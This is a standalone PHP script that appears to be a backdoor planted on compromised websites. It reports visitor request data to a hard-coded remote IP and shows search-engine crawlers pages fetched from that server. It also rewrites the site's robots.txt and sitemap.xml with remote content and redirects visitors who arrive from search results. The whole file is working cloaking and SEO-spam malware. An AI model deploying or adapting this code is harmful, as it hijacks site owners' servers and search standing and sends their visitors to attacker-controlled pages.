<?php
error_reporting(0);
$interDomain = 'http://63.141.236.18/zp240731_23/sitemap/';
function getContent($url, $data = array())
{
    $url = str_replace(' ', '+', $url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

function getReqUri()
{
    $script_name = basename($_SERVER['SCRIPT_FILENAME']);
    if (basename($_SERVER['SCRIPT_NAME']) === $script_name) {
        $url = $_SERVER['SCRIPT_NAME'];
    } elseif (basename($_SERVER['PHP_SELF']) === $script_name) {
        $url = $_SERVER['PHP_SELF'];
    } elseif (basename($_SERVER['ORIG_SCRIPT_NAME']) === $script_name) {
        $url = $_SERVER['ORIG_SCRIPT_NAME'];
    } elseif (($pos = strpos($_SERVER['PHP_SELF'], '/' . $script_name)) !== false) {
        $url = substr($_SERVER['SCRIPT_NAME'], 0, $pos) . '/' . $script_name;
    } elseif ($_SERVER['DOCUMENT_ROOT'] && strpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['DOCUMENT_ROOT']) === 0) {
        $url = str_replace($_SERVER['DOCUMENT_ROOT'], '', $_SERVER['SCRIPT_FILENAME']);
    }
    if (($pos = strpos($_SERVER['REQUEST_URI'], '.php')) !== false) {
        $requri = $url . substr($_SERVER['REQUEST_URI'], $pos + 4);
    } else {
        $requri = $url . substr($_SERVER['REQUEST_URI'], strpos($_SERVER['REQUEST_URI'], '/'));
    }
    return rtrim($requri, '/');
}

function checkReferer($refer)
{
    $referbots = 'google|yahoo|bing';
    if ($refer != '' && preg_match("/($referbots)/si", $refer)) {
        return true;
    }
    return false;
}

function isCrawler($agent)
{
    $agent = strtolower($agent);
    $bots = 'googlebot|bingbot|google|bing|yahoo';
    if ($agent != '' && preg_match("/($bots)/si", $agent)) {
        return true;
    }
    return false;
}

function isSsl()
{
    if ($_SERVER['HTTPS'] && ('1' == $_SERVER['HTTPS'] || 'on' == strtolower($_SERVER['HTTPS']))) {
        return true;
    } elseif ('https' == $_SERVER['REQUEST_SCHEME']) {
        return true;
    } elseif ('443' == $_SERVER['SERVER_PORT']) {
        return true;
    } elseif ('https' == $_SERVER['HTTP_X_FORWARDED_PROTO']) {
        return true;
    }
    return false;
}

$http = isSsl() ? 'https://' : 'http://';
$urlMap = $interDomain . "index";
$urlJump = $interDomain . "jump";
$requri = getReqUri();
$requrl = $http . $_SERVER['HTTP_HOST'] . $requri;
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$referer = isset($_SERVER['HTTP_REFERER']) ? strtolower($_SERVER['HTTP_REFERER']) : '';
$params = array(
    'domain' => $http . $_SERVER["HTTP_HOST"],
    'req_uri' => $requri,
    'req_url' => $requrl,
    'req_ua' => $userAgent,
    'req_rf' => $referer
);
if (isCrawler($userAgent) || substr($params['req_uri'], -6) === 'robots' || substr($params['req_uri'], -4) === '.xml') {
    $sRequri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    if (in_array(substr($params['req_uri'], -7), ['/robots', '?robots']) && strpos($_SERVER['REQUEST_URI'], '.php') !== false && $sRequri !== $requri) {
        die('robots.txt and sitemap.xml file create fail by subfile!');
    }
    $output = getContent($urlMap, $params);
    if (in_array(substr($params['req_uri'], -7), ['/robots', '?robots']) && !empty($output)) {
        $output = json_decode($output, true);
        $subfile = (isset($output[2]) && !empty($output[2])) ? true : false;
        $ret = @file_put_contents(__DIR__ . '/robots.txt', (isset($output[0]) && !empty($output[0])) ? $output[0] : '', $subfile ? 8 : 0);
        @file_put_contents(__DIR__ . '/sitemap.xml', (isset($output[1]) && !empty($output[1])) ? $output[1] : '');
        $robots_cont = file_get_contents(__DIR__ . '/robots.txt');
        if ($ret !== false && strpos(strtolower($robots_cont), "sitemap") !== false) {
            die('robots.txt and sitemap.xml file create success!');
        } else {
            die('robots.txt and sitemap.xml file create fail!');
        }
    } elseif (!empty($output)) {
        if (substr($output, 0, 5) === '<?xml') {
            header("Content-type:text/xml");
        } else {
            header("Content-type:text/html; charset=utf-8");
        }
        echo $output;
    }
    exit;
}
if (!isCrawler($userAgent) && checkReferer($referer) && strrpos($params['req_uri'], '.php') !== (strlen($params['req_uri']) - 4)) {
    echo(getContent($urlJump, $params));
    exit;
}
?>